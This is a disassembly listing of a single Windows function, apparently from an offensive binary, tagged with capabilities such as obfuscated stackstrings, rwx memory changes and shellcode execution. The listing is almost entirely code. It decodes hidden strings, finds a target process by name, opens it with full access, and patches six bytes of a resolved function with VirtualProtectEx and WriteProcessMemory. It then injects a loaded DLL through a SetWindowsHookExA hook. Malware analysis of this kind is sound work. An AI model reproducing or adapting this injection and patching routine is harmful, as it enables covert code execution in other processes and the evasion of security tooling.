Function at 0x140007660
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate gui resources
Enumerate processes
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x140088800]
xor rax, rsp
mov qword [rbp + 0x268], rax
mov ebx, ecx
xor r12d, r12d
mov dword [rbp + 0x40], 0xf1f3e5f4
mov dword [rbp + 0x44], 0xebfefee6
mov word [rbp + 0x48], 0x99fd
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a], xmm0
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
movabs r9, 0xeb7a59658e7c7c93
mov rcx, qword [rbp + 0x260]
mov rax, qword [rbp + 0x260]
movzx edx, byte [rbp + rax + 0x40]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 5
mov rax, qword [rbp + 0x260]
mov byte [rbp + rax + 0x40], r8b
mov rax, qword [rbp + 0x260]
inc rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
cmp rax, 0x1a
jb 0x1400076d1
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140007742
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140002090
nop
cmp ebx, 1
jge 0x140007767
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor eax, eax
cmp qword [rbp + 0x70], rax
je 0x14000843e
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x30], 0x43565419
mov dword [rsp + 0x34], 0x4e5a4349
mov dword [rsp + 0x38], 0x4a5e7073
mov dword [rsp + 0x3c], 0x5c2e5b5b
mov dword [rsp + 0x40], 0x56696a45
mov dword [rsp + 0x44], 0x4a585657
mov word [rsp + 0x48], 0xc154
mov qword [rsp + 0x4a], rax
mov dword [rsp + 0x52], eax
mov byte [rsp + 0x56], al
mov qword [rbp + 0x260], r12
mov rax, qword [rbp + 0x260]
nop dword [rax]
mov rcx, qword [rbp + 0x260]
mov rax, qword [rbp + 0x260]
movzx edx, byte [rsp + rax + 0x30]
add rcx, 0xe424
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 4
mov rax, qword [rbp + 0x260]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rbp + 0x260]
inc rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
cmp rax, 0x27
jb 0x1400077d0
lea rdx, [rsp + 0x30]
mov rcx, r9
call fcn.1400023e0
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r15d, r12d
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007961
mov dword [rbp + 0x130], 0x130
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140007958
movabs rsi, 0xd6b5b559ff6b59aa
nop
mov dword [rbp - 0x50], 0xbfa4be52
mov dword [rbp - 0x4c], 0xa346b1bb
mov dword [rbp - 0x48], 0xadbfacb5
mov dword [rbp - 0x44], 0xbea2bc5e
mov dword [rbp - 0x40], 0xb6a2b06e
mov byte [rbp - 0x3c], Ordinal_26
xor eax, eax
mov qword [rbp - 0x3b], rax
mov dword [rbp - 0x33], eax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax - 0x50]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x5a
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax - 0x50], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x21
jb 0x1400078d0
lea rax, [rbp + 0x15c]
lea r8, [rbp - 0x50]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140007933
inc rax
test ecx, ecx
jne 0x140007920
test edx, edx
je 0x140007951
lea rdx, [rbp + 0x130]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140007890
jmp 0x140007958
mov r15d, dword [rbp + 0x138]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rdx, r15d
lea rcx, [0x140007430]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rcx, qword [0x14008a7e8]
test rcx, rcx
je 0x140007b5b
xor edx, edx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r14d, eax
test eax, eax
je 0x140007b5b
test r15d, r15d
je 0x140007b5b
mov edx, r15d
lea rcx, [rbp + 0x40]
call fcn.140007490
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp + 0x30], rax
lea rdx, [rsp + 0x60]
call fcn.140009760
mov rcx, rax
mov qword [rbp + 0x20], rax
mov byte [rbp + 0x28], 0
mov byte [rbp + 0x30], 0
test rax, rax
je 0x140008535
mov byte [rbp + 0x30], 1
mov byte [rbp + 0x88], 1
lock inc dword [rax + 8]
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140007a22
mov r8, qword [rcx + 0x160]
test r8, r8
je 0x140007a17
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140007a22
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rax
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x80], r12
mov rbx, qword [rbp + 0x20]
mov qword [rbp + 0x10], rbx
mov byte [rbp + 0x18], 1
test rbx, rbx
je 0x140008540
cmp byte [rbx + 0x150], al
jne 0x140008540
mov rax, qword [rbx]
mov dl, 1
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140008e00
nop
lock xadd dword [rbx + 8], edi
cmp edi, 1
jne 0x140007ae6
mov rcx, qword [rbp + 0x20]
mov r8, qword [rcx + 0x160]
test r8, r8
je 0x140007adb
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140007ae6
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140007bcb
lea rcx, [rbp + 0x90]
call fcn.1400032f0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140007b4a
inc rdx
mov rcx, qword [rbp + 0x40]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140007b45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400083ef
call fcn.1400692e4
movdqa xmm0, xmmword [0x14007cc60]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140007b96
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000823f
call fcn.1400692e4
mov eax, 1
mov rcx, qword [rbp + 0x268]
xor rcx, rsp
call fcn.140069280
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov dword [rsp + 0x70], 0xa8ae93ab
mov dword [rsp + 0x74], 0xc4d2c3d9
mov dword [rsp + 0x78], 0xaca6c2cf
mov dword [rsp + 0x7c], 0xdacacec1
mov dword [rbp - 0x80], 0x9fb48ad1
mov dword [rbp - 0x7c], 0xf3f4e89b
mov dword [rbp - 0x78], 0xfffdf0f2
mov dword [rbp - 0x74], 0xe3e2edba
mov byte [rbp - 0x70], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6f], xmm0
mov qword [rbp - 0x5f], rax
mov dword [rbp - 0x57], eax
mov word [rbp - 0x53], ax
mov byte [rbp - 0x51], al
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
nop word [rax + rax]
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rsp + rax + 0x70]
add dl, 0xe
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x62
add dl, cl
mov rax, qword [rbp + 0x10]
mov byte [rsp + rax + 0x70], dl
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x40
jb 0x140007c30
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov dword [rbp - 0x20], 0x7ea1bbba
mov dword [rbp - 0x1c], 0x597f5c62
mov dword [rbp - 0x18], 0x52a5bfb6
mov dword [rbp - 0x14], 0xb3bcb578
mov byte [rbp - 0x10], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xf], xmm0
mov qword [rbp + 1], rax
mov dword [rbp + 9], eax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0x9a075f158a0f129
nop dword [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax - 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1f
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax - 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x2d
jb 0x140007cc0
xor edx, edx
mov r8d, 1
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rbx, rbx
je 0x140007b02
test rax, rax
je 0x140007b02
mov dword [rbp + 0x20], 0xb3b4b54e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24], xmm0
mov word [rbp + 0x34], ax
mov byte [rbp + 0x36], al
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0xa95a7329366010e9
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x5f
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x17
jb 0x140007d60
movzx eax, byte [rbp + 0x20]
mov byte [rbp + 0x260], al
mov dword [rbp + 0x20], 0x5b5a5989
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov word [rbp + 0x38], ax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0xb82820d778362f8c
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1a
jb 0x140007de0
movzx eax, byte [rbp + 0x20]
mov byte [rbp + 0x261], al
mov dword [rbp + 0x20], 0xdbdad918
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov word [rbp + 0x38], ax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0x263d56b8613302e4
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x3c
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1a
jb 0x140007e60
movzx eax, byte [rbp + 0x20]
mov byte [rbp + 0x262], al
mov dword [rsp + 0x30], 0x33343591
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x34], xmm0
mov byte [rsp + 0x44], al
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0x1af8a3be96e60e59
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rsp + rax + 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x6f
mov rax, qword [rbp + 0x10]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x15
jb 0x140007ee0
movzx eax, byte [rsp + 0x30]
mov byte [rbp + 0x263], al
mov dword [rbp + 0x20], 0x3040507
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24], xmm0
mov qword [rbp + 0x34], rax
mov dword [rbp + 0x3c], eax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0x12c833985f930601
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 7
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x20
jb 0x140007f60
movzx eax, byte [rbp + 0x20]
mov byte [rbp + 0x264], al
mov dword [rsp + 0x30], 0x43404125
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x44], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0xeeba69329698d18b
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rsp + rax + 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x33
mov rax, qword [rbp + 0x10]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1c
jb 0x140007fe0
movzx eax, byte [rsp + 0x30]
mov byte [rbp + 0x265], al
mov dword [rbp + 0x20], 0x81f8f487
mov dword [rbp + 0x24], 0xfdffe7f5
mov dword [rbp + 0x28], 0xeeec89ed
mov word [rbp + 0x2c], 0xedef
mov byte [rbp + 0x2e], reloc.WLDAP32.dll_Ordinal_30
xor eax, eax
mov qword [rbp + 0x2f], rax
mov dword [rbp + 0x37], eax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0xefd626d386d1bbb2
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x22
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1b
jb 0x140008070
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x40
mov r8d, 6
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], r12
mov r9d, 6
lea r8, [rbp + 0x260]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 6
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [rbp + 0x20], 0xb7b2a09e
mov dword [rbp + 0x24], 0xa0a5ba80
mov byte [rbp + 0x28], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x29], xmm0
mov word [rbp + 0x39], ax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r9, 0xcff348bae102e10a
nop dword [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x46
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1b
jb 0x140008150
lea rdx, [rbp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140008246
lea rcx, [rbp + 0x90]
call fcn.1400032f0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400081f0
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400083ef
call fcn.1400692e4
movdqa xmm0, xmmword [0x14007cc60]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140007b96
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9d, r14d
mov r8, rdi
mov rdx, rax
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r14d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x20], 0x986c6d85
mov dword [rbp + 0x24], 0x9b9b659f
mov dword [rbp + 0x28], 0x676e6ade
mov word [rbp + 0x2c], 0xd563
mov byte [rbp + 0x2e], 0xf4
xor eax, eax
mov dword [rbp + 0x2f], eax
mov byte [rbp + 0x33], al
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r10, 0x1554f8b63c7c4cdf
nop dword [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rbp + rax + 0x20]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x19
mov rax, qword [rbp + 0x10]
mov byte [rbp + rax + 0x20], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x14
jb 0x1400082b0
lea rdx, [rbp + 0x20]
mov rcx, r9
call fcn.1400023e0
mov edx, r15d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov r9, rax
mov word [rsp + 0x30], 0x1f0c
mov byte [rsp + 0x32], Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x33], xmm0
mov dword [rsp + 0x43], eax
mov word [rsp + 0x47], ax
mov byte [rsp + 0x49], al
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r10, 0x2aaf9e06b3eb9826
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rsp + rax + 0x30]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0xa
mov rax, qword [rbp + 0x10]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x1a
jb 0x140008350
lea rdx, [rsp + 0x30]
mov rcx, r9
call fcn.1400023e0
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x90]
call fcn.1400032f0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400083fc
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400083f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400692e4
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140008437
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008432
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000852e
call fcn.1400692e4
xor eax, eax
jmp 0x140007b9b
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov dword [rsp + 0x30], 0xb383ee9
mov dword [rsp + 0x34], 0x383c0309
mov dword [rsp + 0x38], 0x3c003233
mov dword [rsp + 0x3c], 0x3de83b3b
mov dword [rsp + 0x40], 0x38303239
mov word [rsp + 0x44], 0x813e
mov qword [rsp + 0x46], rax
mov dword [rsp + 0x4e], eax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
movabs r10, 0xa94e6a3c84d59399
nop
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movzx edx, byte [rsp + rax + 0x30]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x2f
mov rax, qword [rbp + 0x10]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rbp + 0x10]
inc rax
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
cmp rax, 0x22
jb 0x140008490
lea rdx, [rsp + 0x30]
mov rcx, r9
call fcn.1400023e0
lea rdx, [0x140009480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140007b96
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 4
call fcn.140007280
nop
mov ecx, 4
call fcn.140007280
int3